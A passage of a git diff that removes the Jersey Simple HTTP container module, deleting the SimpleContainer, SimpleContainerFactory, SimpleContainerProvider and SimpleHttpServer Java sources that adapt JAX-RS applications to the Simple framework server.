-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.GenericType;
-import jakarta.ws.rs.core.SecurityContext;
-
-import jakarta.inject.Inject;
-import jakarta.inject.Provider;
-
-import org.glassfish.jersey.internal.MapPropertiesDelegate;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
-import org.glassfish.jersey.internal.inject.ReferencingFactory;
-import org.glassfish.jersey.internal.util.ExtendedLogger;
-import org.glassfish.jersey.internal.util.collection.Ref;
-import org.glassfish.jersey.process.internal.RequestScoped;
-import org.glassfish.jersey.server.ApplicationHandler;
-import org.glassfish.jersey.server.ContainerException;
-import org.glassfish.jersey.server.ContainerRequest;
-import org.glassfish.jersey.server.ContainerResponse;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.server.internal.ContainerUtils;
-import org.glassfish.jersey.server.spi.Container;
-import org.glassfish.jersey.server.spi.ContainerResponseWriter;
-import org.glassfish.jersey.server.spi.ContainerResponseWriter.TimeoutHandler;
-
-import org.simpleframework.common.thread.DaemonFactory;
-import org.simpleframework.http.Address;
-import org.simpleframework.http.Request;
-import org.simpleframework.http.Response;
-import org.simpleframework.http.Status;
-
-/**
- * Jersey {@code Container} implementation based on Simple framework
- * {@link org.simpleframework.http.core.Container}.
- *
- * @author Arul Dhesiaseelan (aruld@acm.org)
- * @author Marek Potociar
- */
-public final class SimpleContainer implements org.simpleframework.http.core.Container, Container {
-
-    private static final ExtendedLogger logger =
-            new ExtendedLogger(Logger.getLogger(SimpleContainer.class.getName()), Level.FINEST);
-
-    private final Type RequestTYPE = (new GenericType<Ref<Request>>() { }).getType();
-    private final Type ResponseTYPE = (new GenericType<Ref<Response>>() { }).getType();
-
-    /**
-     * Referencing factory for Simple request.
-     */
-    private static class SimpleRequestReferencingFactory extends ReferencingFactory<Request> {
-
-        @Inject
-        public SimpleRequestReferencingFactory(final Provider<Ref<Request>> referenceFactory) {
-            super(referenceFactory);
-        }
-    }
-
-    /**
-     * Referencing factory for Simple response.
-     */
-    private static class SimpleResponseReferencingFactory extends ReferencingFactory<Response> {
-
-        @Inject
-        public SimpleResponseReferencingFactory(final Provider<Ref<Response>> referenceFactory) {
-            super(referenceFactory);
-        }
-    }
-
-    /**
-     * An internal binder to enable Simple HTTP container specific types injection. This binder allows
-     * to inject underlying Grizzly HTTP request and response instances.
-     */
-    private static class SimpleBinder extends AbstractBinder {
-
-        @Override
-        protected void configure() {
-            bindFactory(SimpleRequestReferencingFactory.class).to(Request.class).proxy(true)
-                                                              .proxyForSameScope(false).in(RequestScoped.class);
-            bindFactory(ReferencingFactory.<Request>referenceFactory())
-                    .to(new GenericType<Ref<Request>>() {
-                    }).in(RequestScoped.class);
-
-            bindFactory(SimpleResponseReferencingFactory.class).to(Response.class).proxy(true)
-                                                               .proxyForSameScope(false).in(RequestScoped.class);
-            bindFactory(ReferencingFactory.<Response>referenceFactory())
-                    .to(new GenericType<Ref<Response>>() {
-                    }).in(RequestScoped.class);
-        }
-    }
-
-    private volatile ScheduledExecutorService scheduler;
-    private volatile ApplicationHandler appHandler;
-
-    private static final class ResponseWriter implements ContainerResponseWriter {
-
-        private final AtomicReference<TimeoutTimer> reference;
-        private final ScheduledExecutorService scheduler;
-        private final Response response;
-
-        ResponseWriter(final Response response, final ScheduledExecutorService scheduler) {
-            this.reference = new AtomicReference<TimeoutTimer>();
-            this.response = response;
-            this.scheduler = scheduler;
-        }
-
-        @Override
-        public OutputStream writeResponseStatusAndHeaders(final long contentLength,
-                                                          final ContainerResponse context) throws ContainerException {
-            final jakarta.ws.rs.core.Response.StatusType statusInfo = context.getStatusInfo();
-
-            final int code = statusInfo.getStatusCode();
-            final String reason = statusInfo.getReasonPhrase() == null
-                    ? Status.getDescription(code)
-                    : statusInfo.getReasonPhrase();
-            response.setCode(code);
-            response.setDescription(reason);
-
-            if (contentLength != -1) {
-                response.setContentLength(contentLength);
-            }
-            for (final Map.Entry<String, List<String>> e : context.getStringHeaders().entrySet()) {
-                for (final String value : e.getValue()) {
-                    response.addValue(e.getKey(), value);
-                }
-            }
-
-            try {
-                return response.getOutputStream();
-            } catch (final IOException ioe) {
-                throw new ContainerException("Error during writing out the response headers.", ioe);
-            }
-        }
-
-        @Override
-        public boolean suspend(final long timeOut, final TimeUnit timeUnit,
-                               final TimeoutHandler timeoutHandler) {
-            try {
-                TimeoutTimer timer = reference.get();
-
-                if (timer == null) {
-                    TimeoutDispatcher task = new TimeoutDispatcher(this, timeoutHandler);
-                    ScheduledFuture<?> future =
-                            scheduler.schedule(task, timeOut == 0 ? Integer.MAX_VALUE : timeOut,
-                                    timeOut == 0 ? TimeUnit.SECONDS : timeUnit);
-                    timer = new TimeoutTimer(scheduler, future, task);
-                    reference.set(timer);
-                    return true;
-                }
-                return false;
-            } catch (final IllegalStateException ex) {
-                return false;
-            } finally {
-                logger.debugLog("suspend(...) called");
-            }
-        }
-
-        @Override
-        public void setSuspendTimeout(final long timeOut, final TimeUnit timeUnit)
-                throws IllegalStateException {
-            try {
-                TimeoutTimer timer = reference.get();
-
-                if (timer == null) {
-                    throw new IllegalStateException("Response has not been suspended");
-                }
-                timer.reschedule(timeOut, timeUnit);
-            } finally {
-                logger.debugLog("setTimeout(...) called");
-            }
-        }
-
-        @Override
-        public void commit() {
-            try {
-                response.close();
-            } catch (final IOException e) {
-                logger.log(Level.SEVERE, "Unable to send 500 error response.", e);
-            } finally {
-                logger.debugLog("commit() called");
-            }
-        }
-
-        public boolean isSuspended() {
-            return reference.get() != null;
-        }
-
-        @Override
-        public void failure(final Throwable error) {
-            try {
-                if (!response.isCommitted()) {
-                    response.setCode(jakarta.ws.rs.core.Response.Status.INTERNAL_SERVER_ERROR.getStatusCode());
-                    response.setDescription(error.getMessage());
-                }
-            } finally {
-                logger.debugLog("failure(...) called");
-                commit();
-                rethrow(error);
-            }
-
-        }
-
-        @Override
-        public boolean enableResponseBuffering() {
-            return false;
-        }
-
-        /**
-         * Rethrow the original exception as required by JAX-RS, 3.3.4
-         *
-         * @param error throwable to be re-thrown
-         */
-        private void rethrow(final Throwable error) {
-            if (error instanceof RuntimeException) {
-                throw (RuntimeException) error;
-            } else {
-                throw new ContainerException(error);
-            }
-        }
-
-    }
-
-    private static final class TimeoutTimer {
-
-        private final AtomicReference<ScheduledFuture<?>> reference;
-        private final ScheduledExecutorService service;
-        private final TimeoutDispatcher task;
-
-        public TimeoutTimer(ScheduledExecutorService service, ScheduledFuture<?> future,
-                            TimeoutDispatcher task) {
-            this.reference = new AtomicReference<ScheduledFuture<?>>();
-            this.service = service;
-            this.task = task;
-        }
-
-        public void reschedule(long timeOut, TimeUnit timeUnit) {
-            ScheduledFuture<?> future = reference.getAndSet(null);
-
-            if (future != null) {
-                if (future.cancel(false)) {
-                    future = service.schedule(task, timeOut == 0 ? Integer.MAX_VALUE : timeOut,
-                            timeOut == 0 ? TimeUnit.SECONDS : timeUnit);
-                    reference.set(future);
-                }
-            } else {
-                future = service.schedule(task, timeOut == 0 ? Integer.MAX_VALUE : timeOut,
-                        timeOut == 0 ? TimeUnit.SECONDS : timeUnit);
-                reference.set(future);
-            }
-        }
-    }
-
-    private static final class TimeoutDispatcher implements Runnable {
-
-        private final ResponseWriter writer;
-        private final TimeoutHandler handler;
-
-        public TimeoutDispatcher(ResponseWriter writer, TimeoutHandler handler) {
-            this.writer = writer;
-            this.handler = handler;
-        }
-
-        public void run() {
-            try {
-                handler.onTimeout(writer);
-            } catch (Exception e) {
-                logger.log(Level.INFO, "Failed to call timeout handler", e);
-            }
-        }
-    }
-
-    @Override
-    public void handle(final Request request, final Response response) {
-        final ResponseWriter responseWriter = new ResponseWriter(response, scheduler);
-        final URI baseUri = getBaseUri(request);
-        final URI requestUri = getRequestUri(request, baseUri);
-
-        try {
-            final ContainerRequest requestContext = new ContainerRequest(baseUri, requestUri,
-                    request.getMethod(), getSecurityContext(request), new MapPropertiesDelegate(), appHandler.getConfiguration());
-            requestContext.setEntityStream(request.getInputStream());
-            for (final String headerName : request.getNames()) {
-                requestContext.headers(headerName, request.getValue(headerName));
-            }
-            requestContext.setWriter(responseWriter);
-            requestContext.setRequestScopedInitializer(injectionManager -> {
-                injectionManager.<Ref<Request>>getInstance(RequestTYPE).set(request);
-                injectionManager.<Ref<Response>>getInstance(ResponseTYPE).set(response);
-            });
-
-            appHandler.handle(requestContext);
-        } catch (final Exception ex) {
-            throw new RuntimeException(ex);
-        } finally {
-            if (!responseWriter.isSuspended()) {
-                close(response);
-            }
-        }
-    }
-
-    private URI getRequestUri(final Request request, final URI baseUri) {
-        try {
-            final String serverAddress = getServerAddress(baseUri);
-            String uri = ContainerUtils.getHandlerPath(request.getTarget());
-
-            final String queryString = request.getQuery().toString();
-            if (queryString != null) {
-                uri = uri + "?" + ContainerUtils.encodeUnsafeCharacters(queryString);
-            }
-
-            return new URI(serverAddress + uri);
-        } catch (URISyntaxException ex) {
-            throw new IllegalArgumentException(ex);
-        }
-    }
-
-    private String getServerAddress(final URI baseUri) throws URISyntaxException {
-        return new URI(baseUri.getScheme(), null, baseUri.getHost(), baseUri.getPort(), null, null,
-                null).toString();
-    }
-
-    private URI getBaseUri(final Request request) {
-        try {
-            final String hostHeader = request.getValue("Host");
-
-            if (hostHeader != null) {
-                final String scheme = request.isSecure() ? "https" : "http";
-                return new URI(scheme + "://" + hostHeader + "/");
-            } else {
-                final Address address = request.getAddress();
-                return new URI(address.getScheme(), null, address.getDomain(), address.getPort(), "/", null,
-                        null);
-            }
-        } catch (final URISyntaxException ex) {
-            throw new IllegalArgumentException(ex);
-        }
-    }
-
-    private SecurityContext getSecurityContext(final Request request) {
-        return new SecurityContext() {
-
-            @Override
-            public boolean isUserInRole(final String role) {
-                return false;
-            }
-
-            @Override
-            public boolean isSecure() {
-                return request.isSecure();
-            }
-
-            @Override
-            public Principal getUserPrincipal() {
-                return null;
-            }
-
-            @Override
-            public String getAuthenticationScheme() {
-                return null;
-            }
-        };
-    }
-
-    private void close(final Response response) {
-        try {
-            response.close();
-        } catch (final Exception ex) {
-            throw new RuntimeException(ex);
-        }
-    }
-
-    @Override
-    public ResourceConfig getConfiguration() {
-        return appHandler.getConfiguration();
-    }
-
-    @Override
-    public void reload() {
-        reload(new ResourceConfig(getConfiguration()));
-    }
-
-    @Override
-    public void reload(final ResourceConfig configuration) {
-        appHandler.onShutdown(this);
-
-        appHandler = new ApplicationHandler(configuration.register(new SimpleBinder()));
-        scheduler = new ScheduledThreadPoolExecutor(2, new DaemonFactory(TimeoutDispatcher.class));
-        appHandler.onReload(this);
-        appHandler.onStartup(this);
-    }
-
-    @Override
-    public ApplicationHandler getApplicationHandler() {
-        return appHandler;
-    }
-
-    /**
-     * Inform this container that the server has been started.
-     * <p/>
-     * This method must be implicitly called after the server containing this container is started.
-     */
-    void onServerStart() {
-        appHandler.onStartup(this);
-    }
-
-    /**
-     * Inform this container that the server is being stopped.
-     * <p/>
-     * This method must be implicitly called before the server containing this container is stopped.
-     */
-    void onServerStop() {
-        appHandler.onShutdown(this);
-        scheduler.shutdown();
-    }
-
-    /**
-     * Create a new Simple framework HTTP container.
-     *
-     * @param application   JAX-RS / Jersey application to be deployed on Simple framework HTTP container.
-     * @param parentContext DI provider specific context with application's registered bindings.
-     */
-    SimpleContainer(final Application application, final Object parentContext) {
-        this.appHandler = new ApplicationHandler(application, new SimpleBinder(), parentContext);
-        this.scheduler = new ScheduledThreadPoolExecutor(2, new DaemonFactory(TimeoutDispatcher.class));
-    }
-
-    /**
-     * Create a new Simple framework HTTP container.
-     *
-     * @param application JAX-RS / Jersey application to be deployed on Simple framework HTTP
-     *                    container.
-     */
-    SimpleContainer(final Application application) {
-        this.appHandler = new ApplicationHandler(application, new SimpleBinder());
-        this.scheduler = new ScheduledThreadPoolExecutor(2, new DaemonFactory(TimeoutDispatcher.class));
-    }
-
-    /**
-     * Create a new Simple framework HTTP container.
-     *
-     * @param applicationClass JAX-RS / Jersey application class to be deployed on Simple framework HTTP
-     *                    container.
-     */
-    SimpleContainer(final Class<? extends Application> applicationClass) {
-        this.appHandler = new ApplicationHandler(applicationClass, new SimpleBinder());
-        this.scheduler = new ScheduledThreadPoolExecutor(2, new DaemonFactory(TimeoutDispatcher.class));
-    }
-}
diff --git a/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleContainerFactory.java b/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleContainerFactory.java
deleted file mode 100644
index 519fe7d..0000000
--- a/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleContainerFactory.java
+++ /dev/null
@@ -1,334 +0,0 @@
-/*
- * Copyright (c) 2010, 2021 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.simple;
-
-import java.io.Closeable;
-import java.io.IOException;
-import java.net.InetSocketAddress;
-import java.net.URI;
-
-import javax.net.ssl.SSLContext;
-import javax.net.ssl.SSLEngine;
-import jakarta.ws.rs.SeBootstrap.Configuration.SSLClientAuthentication;
-import jakarta.ws.rs.ProcessingException;
-
-import org.glassfish.jersey.internal.util.collection.UnsafeValue;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.simple.internal.LocalizationMessages;
-import org.simpleframework.http.core.Container;
-import org.simpleframework.http.core.ContainerSocketProcessor;
-import org.simpleframework.transport.Socket;
-import org.simpleframework.transport.SocketProcessor;
-import org.simpleframework.transport.connect.Connection;
-import org.simpleframework.transport.connect.SocketConnection;
-
-/**
- * Factory for creating and starting Simple server containers. This returns a handle to the started
- * server as {@link Closeable} instances, which allows the server to be stopped by invoking the
- * {@link Closeable#close} method.
- * <p/>
- * To start the server in HTTPS mode an {@link SSLContext} can be provided. This will be used to
- * decrypt and encrypt information sent over the connected TCP socket channel.
- *
- * @author Arul Dhesiaseelan (aruld at acm.org)
- * @author Marek Potociar
- * @author Paul Sandoz
- */
-public final class SimpleContainerFactory {
-
-    private SimpleContainerFactory() {
-    }
-
-    /**
-     * Create a {@link Closeable} that registers an {@link Container} that in turn manages all root
-     * resource and provider classes declared by the resource configuration.
-     *
-     * @param address the URI to create the http server. The URI scheme must be equal to "http". The
-     *                URI user information and host are ignored If the URI port is not present then port 80
-     *                will be used. The URI path, query and fragment components are ignored.
-     * @param config  the resource configuration.
-     * @return the closeable connection, with the endpoint started.
-     * @throws ProcessingException      thrown when problems during server creation.
-     * @throws IllegalArgumentException if {@code address} is {@code null}.
-     */
-    public static SimpleServer create(final URI address, final ResourceConfig config) {
-        return create(address, null, new SimpleContainer(config));
-    }
-
-    /**
-     * Create a {@link Closeable} that registers an {@link Container} that in turn manages all root
-     * resource and provider classes declared by the resource configuration.
-     *
-     * @param address the URI to create the http server. The URI scheme must be equal to "http". The
-     *                URI user information and host are ignored If the URI port is not present then port 80
-     *                will be used. The URI path, query and fragment components are ignored.
-     * @param config  the resource configuration.
-     * @param count   this is the number of threads to be used.
-     * @param select  this is the number of selector threads to use.
-     * @return the closeable connection, with the endpoint started.
-     * @throws ProcessingException      thrown when problems during server creation.
-     * @throws IllegalArgumentException if {@code address} is {@code null}.
-     */
-    public static SimpleServer create(final URI address, final ResourceConfig config, final int count,
-                                      final int select) {
-        return create(address, null, new SimpleContainer(config), count, select);
-    }
-
-    /**
-     * Create a {@link Closeable} that registers an {@link Container} that in turn manages all root
-     * resource and provider classes declared by the resource configuration.
-     *
-     * @param address the URI to create the http server. The URI scheme must be equal to {@code https}
-     *                . The URI user information and host are ignored. If the URI port is not present then
-     *                port {@value org.glassfish.jersey.server.spi.Container#DEFAULT_HTTPS_PORT} will be used.
-     *                The URI path, query and fragment components are ignored.
-     * @param context this is the SSL context used for SSL connections.
-     * @param config  the resource configuration.
-     * @return the closeable connection, with the endpoint started.
-     * @throws ProcessingException      thrown when problems during server creation.
-     * @throws IllegalArgumentException if {@code address} is {@code null}.
-     */
-    public static SimpleServer create(final URI address, final SSLContext context,
-                                      final ResourceConfig config) {
-        return create(address, context, new SimpleContainer(config));
-    }
-
-    /**
-     * Create a {@link Closeable} that registers an {@link Container} that in turn manages all root
-     * resource and provider classes declared by the resource configuration.
-     *
-     * @param address the URI to create the http server. The URI scheme must be equal to {@code https}
-     *                . The URI user information and host are ignored. If the URI port is not present then
-     *                port {@value org.glassfish.jersey.server.spi.Container#DEFAULT_HTTPS_PORT} will be used.
-     *                The URI path, query and fragment components are ignored.
-     * @param context this is the SSL context used for SSL connections.
-     * @param config  the resource configuration.
-     * @param count   this is the number of threads to be used.
-     * @param select  this is the number of selector threads to use.
-     * @return the closeable connection, with the endpoint started.
-     * @throws ProcessingException      thrown when problems during server creation.
-     * @throws IllegalArgumentException if {@code address} is {@code null}.
-     */
-    public static SimpleServer create(final URI address, final SSLContext context,
-                                      final ResourceConfig config, final int count, final int select) {
-        return create(address, context, new SimpleContainer(config), count, select);
-    }
-
-    /**
-     * Create a {@link Closeable} that registers an {@link Container} that in turn manages all root
-     * resource and provider classes found by searching the classes referenced in the java classpath.
-     *
-     * @param address   the URI to create the http server. The URI scheme must be equal to {@code https}
-     *                  . The URI user information and host are ignored. If the URI port is not present then
-     *                  port {@value org.glassfish.jersey.server.spi.Container#DEFAULT_HTTPS_PORT} will be used.
-     *                  The URI path, query and fragment components are ignored.
-     * @param context   this is the SSL context used for SSL connections.
-     * @param container the container that handles all HTTP requests.
-     * @return the closeable connection, with the endpoint started.
-     * @throws ProcessingException      thrown when problems during server creation.
-     * @throws IllegalArgumentException if {@code address} is {@code null}.
-     */
-    public static SimpleServer create(final URI address, final SSLContext context,
-                                      final SimpleContainer container) {
-        return _create(address, context, container, new UnsafeValue<SocketProcessor, IOException>() {
-            @Override
-            public SocketProcessor get() throws IOException {
-                return new ContainerSocketProcessor(container);
-            }
-        }, true);
-    }
-
-    /**
-     * Create a {@link Closeable} that registers an {@link Container} that in turn manages all root
-     * resource and provider classes found by searching the classes referenced in the java classpath.
-     *
-     * @param address   the URI to create the http server. The URI scheme must be equal to {@code https}
-     *                  . The URI user information and host are ignored. If the URI port is not present then
-     *                  port {@value org.glassfish.jersey.server.spi.Container#DEFAULT_HTTPS_PORT} will be used.
-     *                  The URI path, query and fragment components are ignored.
-     * @param context   this is the SSL context used for SSL connections.
-     * @param container the Simple container with ResourceConfig.
-     * @param sslClientAuthentication Secure socket client authentication policy.
-     * @param start whether the server shall listen to connections immediately
-     * @return the closeable connection, with the endpoint started.
-     * @throws ProcessingException      thrown when problems during server creation.
-     * @throws IllegalArgumentException if {@code address} is {@code null}.
-     */
-    public static SimpleServer create(final URI address, final SSLContext context,
-            final SSLClientAuthentication sslClientAuthentication, final SimpleContainer container, final boolean start) {
-        return _create(address, context, container, new UnsafeValue<SocketProcessor, IOException>() {
-            @Override
-            public SocketProcessor get() throws IOException {
-                return new ContainerSocketProcessor(container) {
-                    @Override
-                    public final void process(final Socket socket) throws IOException {
-                        final SSLEngine sslEngine = socket.getEngine();
-                        if (sslEngine != null) {
-                            switch (sslClientAuthentication) {
-                            case MANDATORY: {
-                                sslEngine.setNeedClientAuth(true);
-                                break;
-                            }
-                            case OPTIONAL: {
-                                sslEngine.setWantClientAuth(true);
-                                break;
-                            }
-                            default: {
-                                sslEngine.setNeedClientAuth(false);
-                                break;
-                            }
-                            }
-                        }
-                        super.process(socket);
-                    }
-                };
-            }
-        }, start);
-    }
-
-    /**
-     * Create a {@link Closeable} that registers an {@link Container} that in turn manages all root
-     * resource and provider classes declared by the resource configuration.
-     *
-     * @param address       the URI to create the http server. The URI scheme must be equal to {@code https}
-     *                      . The URI user information and host are ignored. If the URI port is not present then
-     *                      port {@value org.glassfish.jersey.server.spi.Container#DEFAULT_HTTPS_PORT} will be used.
-     *                      The URI path, query and fragment components are ignored.
-     * @param context       this is the SSL context used for SSL connections.
-     * @param config        the resource configuration.
-     * @param parentContext DI provider specific context with application's registered bindings.
-     * @param count         this is the number of threads to be used.
-     * @param select        this is the number of selector threads to use.
-     * @return the closeable connection, with the endpoint started.
-     * @throws ProcessingException      thrown when problems during server creation.
-     * @throws IllegalArgumentException if {@code address} is {@code null}.
-     * @since 2.12
-     */
-    public static SimpleServer create(final URI address, final SSLContext context,
-                                      final ResourceConfig config, final Object parentContext, final int count,
-                                      final int select) {
-        return create(address, context, new SimpleContainer(config, parentContext), count, select);
-    }
-
-    /**
-     * Create a {@link Closeable} that registers an {@link Container} that in turn manages all root
-     * resource and provider classes found by searching the classes referenced in the java classpath.
-     *
-     * @param address   the URI to create the http server. The URI scheme must be equal to {@code https}
-     *                  . The URI user information and host are ignored. If the URI port is not present then
-     *                  port {@value org.glassfish.jersey.server.spi.Container#DEFAULT_HTTPS_PORT} will be used.
-     *                  The URI path, query and fragment components are ignored.
-     * @param context   this is the SSL context used for SSL connections.
-     * @param container the container that handles all HTTP requests.
-     * @param count     this is the number of threads to be used.
-     * @param select    this is the number of selector threads to use.
-     * @return the closeable connection, with the endpoint started.
-     * @throws ProcessingException      thrown when problems during server creation.
-     * @throws IllegalArgumentException if {@code address} is {@code null}.
-     */
-    public static SimpleServer create(final URI address, final SSLContext context,
-                                      final SimpleContainer container, final int count, final int select)
-            throws ProcessingException {
-
-        return _create(address, context, container, new UnsafeValue<SocketProcessor, IOException>() {
-            @Override
-            public SocketProcessor get() throws IOException {
-                return new ContainerSocketProcessor(container, count, select);
-            }
-        }, true);
-    }
-
-    private static SimpleServer _create(final URI address, final SSLContext context,
-                                        final SimpleContainer container,
-                                        final UnsafeValue<SocketProcessor, IOException> serverProvider,
-                                        final boolean start)
-            throws ProcessingException {
-        if (address == null) {
-            throw new IllegalArgumentException(LocalizationMessages.URI_CANNOT_BE_NULL());
-        }
-        final String scheme = address.getScheme();
-        int defaultPort = org.glassfish.jersey.server.spi.Container.DEFAULT_HTTP_PORT;
-
-        if (context == null) {
-            if (!scheme.equalsIgnoreCase("http")) {
-                throw new IllegalArgumentException(LocalizationMessages.WRONG_SCHEME_WHEN_USING_HTTP());
-            }
-        } else {
-            if (!scheme.equalsIgnoreCase("https")) {
-                throw new IllegalArgumentException(LocalizationMessages.WRONG_SCHEME_WHEN_USING_HTTPS());
-            }
-            defaultPort = org.glassfish.jersey.server.spi.Container.DEFAULT_HTTPS_PORT;
-        }
-        int port = address.getPort();
-
-        if (port == -1) {
-            port = defaultPort;
-        }
-        final InetSocketAddress listen = new InetSocketAddress(port);
-        final Connection connection;
-        try {
-            final SimpleTraceAnalyzer analyzer = new SimpleTraceAnalyzer();
-            final SocketProcessor server = serverProvider.get();
-            connection = new SocketConnection(server, analyzer);
-
-            final SimpleServer simpleServer = new SimpleServer() {
-                private InetSocketAddress socketAddr = listen;
-
-                @Override
-                public final void start() throws IOException {
-                    this.socketAddr = (InetSocketAddress) connection.connect(listen, context);
-                    container.onServerStart();
-                }
-
-                @Override
-                public void close() throws IOException {
-                    container.onServerStop();
-                    analyzer.stop();
-                    connection.close();
-                    this.socketAddr = listen;
-                }
-
-                @Override
-                public int getPort() {
-                    return this.socketAddr.getPort();
-                }
-
-                @Override
-                public boolean isDebug() {
-                    return analyzer.isActive();
-                }
-
-                @Override
-                public void setDebug(boolean enable) {
-                    if (enable) {
-                        analyzer.start();
-                    } else {
-                        analyzer.stop();
-                    }
-                }
-            };
-
-            if (start) {
-                simpleServer.start();
-            }
-
-            return simpleServer;
-        } catch (final IOException ex) {
-            throw new ProcessingException(LocalizationMessages.ERROR_WHEN_CREATING_SERVER(), ex);
-        }
-    }
-}
diff --git a/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleContainerProvider.java b/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleContainerProvider.java
deleted file mode 100644
index e637041..0000000
--- a/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleContainerProvider.java
+++ /dev/null
@@ -1,44 +0,0 @@
-/*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.simple;
-
-import jakarta.ws.rs.ProcessingException;
-import jakarta.ws.rs.core.Application;
-
-import org.glassfish.jersey.server.spi.ContainerProvider;
-
-import org.simpleframework.http.core.Container;
-
-/**
- * Container provider for containers based on Simple HTTP Server
- * {@link org.simpleframework.http.core.Container}.
- *
- * @author Marc Hadley
- * @author Arul Dhesiaseelan (aruld@acm.org)
- * @author Marek Potociar
- */
-public final class SimpleContainerProvider implements ContainerProvider {
-
-    @Override
-    public <T> T createContainer(Class<T> type, Application application) throws ProcessingException {
-        if (Container.class == type || SimpleContainer.class == type) {
-            return type.cast(new SimpleContainer(application));
-        }
-        return null;
-    }
-
-}
diff --git a/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleHttpServer.java b/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleHttpServer.java
deleted file mode 100644
index 1b9ac18..0000000
--- a/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleHttpServer.java
+++ /dev/null
@@ -1,97 +0,0 @@
-/*
- * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
- * Copyright (c) 2018 Markus KARG. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.simple;
-
-import java.util.concurrent.CompletableFuture;
-import java.util.concurrent.CompletionException;
-
-import jakarta.ws.rs.core.Application;
-
-import org.glassfish.jersey.server.JerseySeBootstrapConfiguration;
-import org.glassfish.jersey.server.spi.WebServer;
-
-/**
- * Jersey {@code Server} implementation based on Simple framework
- * {@link SimpleServer}.
- *
- * @author Markus KARG (markus@headcrashing.eu)
- * @since 3.1.0
- */
-final class SimpleHttpServer implements WebServer {
-
-    private final SimpleContainer container;
-
-    private final SimpleServer simpleServer;
-
-    SimpleHttpServer(final Application application, final JerseySeBootstrapConfiguration configuration) {
-        this(new SimpleContainer(application), configuration);
-    }
-
-    SimpleHttpServer(final Class<?extends Application> applicationClass,
-                     final JerseySeBootstrapConfiguration configuration) {
-        this(new SimpleContainer(applicationClass), configuration);
-    }
-
-    SimpleHttpServer(final SimpleContainer container, final JerseySeBootstrapConfiguration configuration) {
-        this.container = container;
-        this.simpleServer = SimpleContainerFactory.create(
-                configuration.uri(true),
-                configuration.sslContext(),
-                configuration.sslClientAuthentication(),
-                this.container,
-                configuration.autoStart());
-    }
-
-    @Override
-    public final SimpleContainer container() {
-        return this.container;
-    }
-
-    @Override
-    public final int port() {
-        return this.simpleServer.getPort();
-    }
-
-    @Override
-    public final CompletableFuture<Void> start() {
-        return CompletableFuture.runAsync(() -> {
-            try {
-                this.simpleServer.start();
-            } catch (final Exception e) {
-                throw new CompletionException(e);
-            }
-        });
-    }
-
-    @Override
-    public final CompletableFuture<Void> stop() {
-        return CompletableFuture.runAsync(() -> {
-            try {
-                this.simpleServer.close();
-            } catch (final Exception e) {
-                throw new CompletionException(e);
-            }
-        });
-    }
-
-    @Override
-    public final <T> T unwrap(final Class<T> nativeClass) {
-        return nativeClass.cast(this.simpleServer);
-    }
-
-}
diff --git a/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleHttpServerProvider.java b/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleHttpServerProvider.java
deleted file mode 100644
index 33bd6a7..0000000
--- a/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleHttpServerProvider.java
+++ /dev/null
@@ -1,50 +0,0 @@
-/*
- * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
- * Copyright (c) 2018 Markus KARG. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.simple;
-
-import jakarta.ws.rs.SeBootstrap;
-import jakarta.ws.rs.core.Application;
-
-import org.glassfish.jersey.server.JerseySeBootstrapConfiguration;
-import org.glassfish.jersey.server.spi.WebServer;
-import org.glassfish.jersey.server.spi.WebServerProvider;
-
-/**
- * Server provider for servers based on Simple framework {@link SimpleServer}.
- *
